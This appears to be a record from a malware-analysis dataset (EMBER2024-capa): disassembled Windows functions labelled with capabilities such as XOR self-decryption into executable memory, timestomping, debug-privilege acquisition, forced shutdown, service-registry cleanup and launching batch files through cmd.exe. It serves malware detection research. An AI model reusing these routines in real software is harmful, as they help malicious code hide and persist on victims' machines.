joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40afdb
Capabilities:
Delete file
Shutdown system

Disassembly:
push 0x2c
mov eax, 0x43af8d
call fcn.00422533
mov esi, ecx
mov dword [ebp - 0x24], esi
xor edi, edi
cmp dword [esi + 0xec], edi
jne 0x40b1b8
cmp dword [esi + 0xe4], edi
jne 0x40b1b8
call fcn.0040c68d
push eax
lea ecx, [ebp - 0x34]
call main
mov dword [ebp - 4], edi
call fcn.0040c68d
push eax
lea ecx, [ebp - 0x2c]
call main
mov byte [ebp - 4], 1
call fcn.0040c68d
push eax
lea ecx, [ebp - 0x38]
call main
push dword [esi + 0x50]
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 2
call main
mov ecx, dword [esi + 0x110]
test ecx, ecx
je 0x40b060
call fcn.00405053
test eax, eax
jne 0x40b060
push str.Adobe_Acrobat_Reader
jmp 0x40b065
push 0x43fb7c
lea ecx, [ebp - 0x2c]
call main
mov ebx, dword [ebp - 0x2c]
lea eax, [ebp - 0x30]
push 0x90
push eax
mov ecx, esi
mov dword [esi + 0x50], ebx
call fcn.00409b5a
push ebx
push dword [eax]
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 3
push eax
call main
mov ecx, dword [ebp - 0x30]
add esp, 0xc
mov byte [ebp - 4], 2
lea ecx, [ecx - 0x10]
call fcn.00401856
cmp dword [esi + 0x164], edi
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x38]
jne 0x40b1a0
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x160], 0
je 0x40b0df
push 0
push 0x10024
push esi
call main
add esp, 0xc
cmp eax, 6
jne 0x40b1a0
mov eax, dword [ebp - 0x24]
lea ecx, [eax + 0x130]
mov dword [eax + 0x50], edi
mov dword [ebp - 0x30], ecx
mov ecx, dword [ecx]
cmp dword [ecx - 0xc], 0
je 0x40b105
push ecx
call dword [sym.imp.kernel32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x30]
call fcn.00401451
mov eax, dword [ebp - 0x24]
and dword [eax + 0xe0], 0
lea eax, [ebp - 0x28]
and dword [ebp - 0x28], 0
and dword [ebp - 0x24], 0
push eax
push 0x28
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40b167
lea eax, [ebp - 0x1c]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x14], 2
test eax, eax
je 0x40b167
xor ecx, ecx
lea eax, [ebp - 0x20]
push ecx
push ecx
push ecx
push eax
push ecx
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov dword [ebp - 0x24], eax
push 1
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
cmp dword [ebp - 0x24], 0
je 0x40b191
xor ecx, ecx
lea eax, [ebp - 0x20]
push ecx
push ecx
push ecx
push eax
push ecx
push dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [ebp - 0x28], 0
je 0x40b1a0
push dword [ebp - 0x28]
call dword [sym.imp.kernel32.dll_CloseHandle]
lea ecx, [edi - 0x10]
call fcn.00401856
lea ecx, [ebx - 0x10]
call fcn.00401856
lea ecx, [esi - 0x10]
call fcn.00401856
call fcn.004224e2
ret
Function at 0x40b7ed
Capabilities:
Set registry value

Disassembly:
push 0xc
mov eax, 0x43b018
call fcn.00422500
push dword [ebp + 0x14]
lea ecx, [ebp - 0x14]
xor esi, esi
call fcn.0040194d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], esi
mov ebx, dword [eax - 0xc]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40b869
mov ecx, dword [ebp + 0x18]
cmp ecx, 1
je 0x40b840
cmp ecx, 2
je 0x40b840
push ebx
jmp 0x40b844
lea eax, [ebx + ebx]
push eax
push dword [ebp + 0x14]
push ecx
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x10]
mov esi, eax
neg esi
sbb esi, esi
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40b88e
mov ebx, 0x455994
push 0x43ff14
mov ecx, ebx
call main
push dword [ebp + 0x14]
mov ecx, ebx
call main
mov ecx, 0x4558c8
call fcn.0040b324
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401856
mov eax, esi
call fcn.004224ce
ret

Function at 0x421c47
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x44fa70
call fcn.00423d90
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x421afe
xor ebx, ebx
jmp 0x421b31
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x421afa
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x421afa
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x421b31
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004286ab
test eax, eax
jne 0x421b45
push 0x1c
call main
pop ecx
call fcn.00428618
test eax, eax
jne 0x421b56
push 0x10
call main
pop ecx
call fcn.00428f96
and dword [ebp - 4], 0
call fcn.004286c0
test eax, eax
jns 0x421b70
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov dword [0x459adc], eax
call main
mov dword [0x457a24], eax
call main
test eax, eax
jns 0x421b96
push 8
call main
pop ecx
call fcn.00428bb1
test eax, eax
jns 0x421ba7
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x421bba
push eax
call main
pop ecx
call fcn.00429414
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x421bdc
push esi
call main
call fcn.004279dd
jmp 0x421c11
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00423dd5
ret
call main
jmp 0x421ad0
Function at 0x435a44
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x435a53
pop dword [ebp - 0x34]
mov eax, 0x435a53
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xa86362d7
sub dword [ebp - 0x44], 0x5a111d8c
mov dword [ebp - 0x40], 0xb0ff16f2
add dword [ebp - 0x40], 0x81343553
mov dword [ebp - 0x3c], 0x68ad4b05
add dword [ebp - 0x3c], 0xe39ef929
mov dword [ebp - 0x38], 0x93a46ef9
sub dword [ebp - 0x38], 0x93a46ef9
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xe61d32e8
sub dword [ebp - 0x44], 0x71aac992
mov dword [ebp - 0x40], 0xd0108cea
add dword [ebp - 0x40], 0x715bd48b
mov dword [ebp - 0x3c], 0xd1b03411
add dword [ebp - 0x3c], 0x91bf385b
mov dword [ebp - 0x38], 0x5943c6da
sub dword [ebp - 0x38], 0x5943c6da
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x48525
push 0
call eax
mov ecx, 0x4fcc
xor edi, edi
add edi, eax
mov edx, 0xe1a61a9d
sub edx, 0xe15ea69d
add edx, dword [ebp - 0x34]
mov esi, 0x7329178a
mov dword [ebp - 0x1c], 0x168c0225
mov ebx, dword [edx]
xor dword [ebp - 0x14], eax
xor ebx, esi
mov dword [ebp - 0x2c], 0xeefd19a6
mov dword [edi], ebx
add dword [ebp - 4], eax
add edi, 0x84ed6f3d
sub edi, 0x84ed6f39
add edx, 0xcebfee60
sub edx, 0xcebfee5c
loop 0x435b5c
add eax, 0xc9b5d13c
sub eax, 0xc9b49f39
mov ebx, eax
add eax, 0x7da9c2a1
add eax, 0x82563d64
mov ecx, 0x51b0cb70
add ecx, 0xae8f3490
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000106e
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10001065
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1000106e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x10002185
Capabilities:
Create directory
Get common file path
Set file attributes
Timestomp file

Disassembly:
push ebp
lea ebp, [esp - 0xa4]
sub esp, 0x124
mov eax, dword [0x1000e040]
push ebx
push esi
push edi
push 0x40
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp + 0xa0], eax
xor ebx, ebx
mov byte [ebp - 0x64], bl
xor eax, eax
lea edi, [ebp - 0x63]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
mov edi, 0x2000000
push edi
push 3
push ebx
push 3
push ebx
push dword [ebp + 0xac]
call esi
cmp eax, 0xffffffff
je 0x100021e2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x100022a9
push ebx
push dword [ebp + 0xac]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 7
push dword [ebp + 0xac]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push edi
push 3
push ebx
push 5
push 0xc0000000
push dword [ebp + 0xac]
call esi
cmp eax, 0xffffffff
mov dword [ebp - 0x68], eax
je 0x100022a7
mov edi, 0x104
push edi
lea eax, [ebp - 0x64]
push ebx
push eax
call fcn.100044c0
add esp, 0xc
push edi
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x64]
push str.KERNEL32.DLL
push eax
call fcn.100043d0
pop ecx
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
lea eax, [ebp - 0x64]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000229d
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x1000229a
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call edi
push dword [ebp - 0x68]
call edi
jmp 0x100021da
xor eax, eax
mov ecx, dword [ebp + 0xa0]
pop edi
pop esi
pop ebx
call fcn.10004551
add ebp, 0xa4
leave
ret
Function at 0x100022bf
Capabilities:
Create process on windows
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x42c]
sub esp, 0x4ac
mov eax, dword [0x1000e040]
push ebx
push esi
push edi
mov dword [ebp + 0x428], eax
push 0x40
xor eax, eax
pop ecx
xor ebx, ebx
mov byte [ebp + 0x11c], bl
lea edi, [ebp + 0x11d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
pop ecx
xor eax, eax
mov byte [ebp + 0x324], bl
lea edi, [ebp + 0x325]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
pop ecx
xor eax, eax
mov byte [ebp + 0x220], bl
lea edi, [ebp + 0x221]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10
stosb byte es:[edi], al
pop ecx
xor eax, eax
mov esi, 0x104
mov dword [ebp - 0x70], ebx
lea edi, [ebp - 0x6c]
push esi
rep stosd dword es:[edi], eax
lea eax, [ebp + 0x11c]
push ebx
push eax
call fcn.100044c0
push dword [ebp + 0x434]
lea eax, [ebp + 0x11c]
push eax
call fcn.100043c0
lea eax, [ebp + 0x11c]
push str..
push eax
call fcn.100043d0
add esp, 0x1c
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x28], eax
jne 0x10002385
xor eax, eax
jmp 0x100024d4
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
test byte [ebp - 0x24], 0x10
jne 0x100024b3
push esi
lea eax, [ebp + 0x324]
push ebx
push eax
call fcn.100044c0
push dword [ebp + 0x434]
lea eax, [ebp + 0x324]
push eax
call fcn.100043c0
lea eax, [ebp + 0x324]
push 0x1000b390
push eax
call fcn.100043d0
lea eax, [ebp + 8]
push eax
lea eax, [ebp + 0x324]
push eax
call fcn.100043d0
push 0x44
lea eax, [ebp - 0x70]
push ebx
push eax
call fcn.100044c0
lea eax, [ebp + 0x324]
push 0x2e
push eax
mov dword [ebp - 0x70], 0x44
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x44], 1
mov word [ebp - 0x40], bx
call fcn.10004840
push str..bat
push eax
mov dword [ebp - 0x2c], eax
call fcn.10009fee
add esp, 0x40
test eax, eax
jne 0x10002483
push esi
lea eax, [ebp + 0x220]
push ebx
push eax
call fcn.100044c0
lea eax, [ebp + 0x220]
push str.cmd.exe__c__
push eax
call fcn.100043c0
lea eax, [ebp + 0x324]
push eax
lea eax, [ebp + 0x220]
push eax
call fcn.100043d0
lea eax, [ebp + 0x220]
push 0x1000b374
push eax
call fcn.100043d0
add esp, 0x24
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push 0x8000020
push 1
push ebx
push ebx
lea eax, [ebp + 0x220]
push eax
push ebx
jmp 0x100024b1
push str..exe
push dword [ebp - 0x2c]
call fcn.10009fee
test eax, eax
pop ecx
pop ecx
jne 0x100024b3
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push 0x8000020
push 1
push ebx
push ebx
push ebx
lea eax, [ebp + 0x324]
push eax
call edi
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000238b
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x428]
pop edi
pop esi
pop ebx
call fcn.10004551
add ebp, 0x42c
leave
ret
Function at 0x100041fa
Capabilities:
Delete file
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1a4]
sub esp, 0x224
mov eax, dword [0x1000e040]
push ebx
push esi
push edi
push str.kernel32.dll
mov dword [ebp + 0x1a0], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CreateThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x20
xor ebx, ebx
push ebx
mov esi, 0x1000ee3c
push esi
mov dword [0x1000ee2c], eax
call fcn.100044c0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push str.7NFP4R9W
push esi
call edi
push esi
call fcn.100024ea
lea eax, [ebp + 0x8c]
mov dword [esp], str.SYSTEMCurrentControlSetServices_
push eax
mov dword [ebp - 0x78], 0x80000002
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [ebp + 0x8c]
push eax
call edi
push str.Parameters
lea eax, [ebp + 0x8c]
push eax
call edi
lea eax, [ebp - 0x78]
push eax
push 0xf003f
push ebx
lea eax, [ebp + 0x8c]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 0x100
push edi
lea eax, [ebp - 0x74]
push ebx
push eax
call fcn.100044c0
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x7c], edi
push ebx
mov edi, str.ServiceStartAddr
push edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100042fd
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1000417e
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push ebx
push 2
mov dword [0x1000ee38], eax
call fcn.10004129
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push 4
mov dword [0x1000ee30], eax
call fcn.10004129
push 0x14
push ebx
push 0x1000ee18
call fcn.100044c0
add esp, 0x18
push 5
pop ecx
mov esi, str.eldnaHesolCtenretnI
lea edi, [ebp + 0x18c]
lea eax, [ebp + 0x18c]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call esi
test eax, eax
jle 0x10004398
mov edi, 0x1000ee18
dec edi
lea eax, [ebp + 0x18c]
push eax
call esi
mov cl, byte [ebp + ebx + 0x18c]
mov byte [eax + edi], cl
lea eax, [ebp + 0x18c]
inc ebx
push eax
dec edi
call esi
cmp ebx, eax
jl 0x10004376
call fcn.100036a8
mov ecx, dword [ebp + 0x1a0]
pop edi
pop esi
pop ebx
call fcn.10004551
add ebp, 0x1a4
leave
ret 8
Function at 0x10004997
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
jne 0x10004a87
mov eax, 0x94
call fcn.10004770
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10004afc
mov ecx, dword [esi + 0x10]
mov dword [0x1000efec], ecx
mov eax, dword [esi + 4]
mov dword [0x1000eff8], eax
mov edx, dword [esi + 8]
mov dword [0x1000effc], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x1000eff0], esi
je 0x10004a02
or esi, 0x8000
mov dword [0x1000eff0], esi
shl eax, 8
add eax, edx
push 1
mov dword [0x1000eff4], eax
call fcn.10005f58
test eax, eax
pop ecx
je 0x10004afc
call fcn.10005d39
test eax, eax
jne 0x10004a2f
call fcn.10005fa9
jmp 0x10004afc
call fcn.1000758d
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x100106b8], eax
call fcn.1000746b
mov dword [0x1000ee60], eax
call fcn.10006f4c
test eax, eax
jl 0x10004a80
call fcn.100073c9
test eax, eax
jl 0x10004a7b
call fcn.10007196
test eax, eax
jl 0x10004a7b
push 0
call fcn.10006d44
test eax, eax
pop ecx
jne 0x10004a7b
inc dword [0x1000ee5c]
jmp 0x10004b0d
call fcn.1000714a
call fcn.10005b22
jmp 0x10004a25
test eax, eax
jne 0x10004ab7
cmp dword [0x1000ee5c], eax
jle 0x10004afc
dec dword [0x1000ee5c]
cmp dword [0x1000f028], eax
jne 0x10004aa6
call fcn.10006e82
call fcn.1000714a
call fcn.10005b22
call fcn.10005fa9
jmp 0x10004b0d
cmp eax, 2
jne 0x10004b00
push 0x8c
push 1
call fcn.10006e91
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x10004afc
push esi
push dword [0x1000e1f4]
call dword [0x1000ee88]
test eax, eax
push esi
je 0x10004af6
call fcn.10005b3f
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x10004b0d
call fcn.1000486d
pop ecx
xor eax, eax
jmp 0x10004b10
cmp eax, 3
jne 0x10004b0d
push 0
call fcn.10005d0a
pop ecx
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc

Function at 0x10006dae
Capabilities:
Terminate process

Disassembly:
push 8
push 0x1000bbd0
call fcn.10004de0
push 8
call fcn.1000617b
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x1000f02c], esi
jne 0x10006de2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x1000f028], esi
mov al, byte [ebp + 0x10]
mov byte [0x1000f024], al
cmp dword [ebp + 0xc], edi
jne 0x10006e2c
cmp dword [0x10010688], edi
je 0x10006e1c
mov eax, dword [0x10010684]
sub eax, 4
mov dword [0x10010684], eax
cmp eax, dword [0x10010688]
jb 0x10006e1c
mov eax, dword [eax]
cmp eax, edi
je 0x10006dfd
call eax
jmp 0x10006dfd
push 0x1000e028
mov eax, 0x1000e020
call fcn.10006d2c
pop ecx
push 0x1000e030
mov eax, 0x1000e02c
call fcn.10006d2c
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x10006e5d
cmp dword [ebp + 0x10], edi
jne 0x10006e6b
mov dword [0x1000f02c], esi
push dword [ebp + 8]
call fcn.10006cea
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x10006e6a
push 8
call fcn.100060c6
pop ecx
ret
call fcn.10004e1b
ret
Function at 0x10007794
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x1000e040]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x1000e3d8]
je 0x100077c9
inc eax
cmp eax, 0x13
jb 0x100077ba
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x1000e3d8]
jne 0x100078ef
mov eax, dword [0x1000ee68]
cmp eax, 1
je 0x100078c7
cmp eax, edx
jne 0x100077f9
cmp dword [0x1000ee6c], 1
je 0x100078c7
cmp ecx, 0xfc
je 0x100078ef
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000782f
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.100043c0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.100045c0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x10007863
mov eax, edi
push eax
call fcn.100045c0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x1000b794
push edi
call fcn.10007a40
add esp, 0x10
push edi
call fcn.100045c0
push dword [esi + 0x1000e3dc]
mov ebx, eax
call fcn.100045c0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.10004770
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.100043c0
push edi
push ebx
call fcn.100043d0
push 0x1000b790
push ebx
call fcn.100043d0
push dword [esi + 0x1000e3dc]
push ebx
call fcn.100043d0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.10007944
add esp, 0x2c
jmp 0x100078ef
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x1000e3dc]
push dword [esi]
call fcn.100045c0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.10004551
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x10007944
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x1000f140], ebx
push esi
push edi
jne 0x100079c4
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x100079ff
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x1000f140], eax
je 0x100079ff
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x1000f144], eax
call esi
cmp dword [0x1000efec], 2
mov dword [0x1000f148], eax
jne 0x100079c4
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x1000f150], eax
je 0x100079c4
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x1000f14c], eax
mov eax, dword [0x1000f14c]
test eax, eax
je 0x10007a09
call eax
test eax, eax
je 0x100079f0
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x1000f150]
test eax, eax
je 0x100079f0
test byte [ebp - 8], 1
jne 0x10007a09
cmp dword [0x1000eff8], 4
jb 0x10007a03
or byte [ebp + 0x12], 0x20
jmp 0x10007a28
xor eax, eax
jmp 0x10007a38
or byte [ebp + 0x12], 4
jmp 0x10007a28
mov eax, dword [0x1000f144]
test eax, eax
je 0x10007a28
call eax
mov ebx, eax
test ebx, ebx
je 0x10007a28
mov eax, dword [0x1000f148]
test eax, eax
je 0x10007a28
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x1000f140]
pop edi
pop esi
pop ebx
leave
ret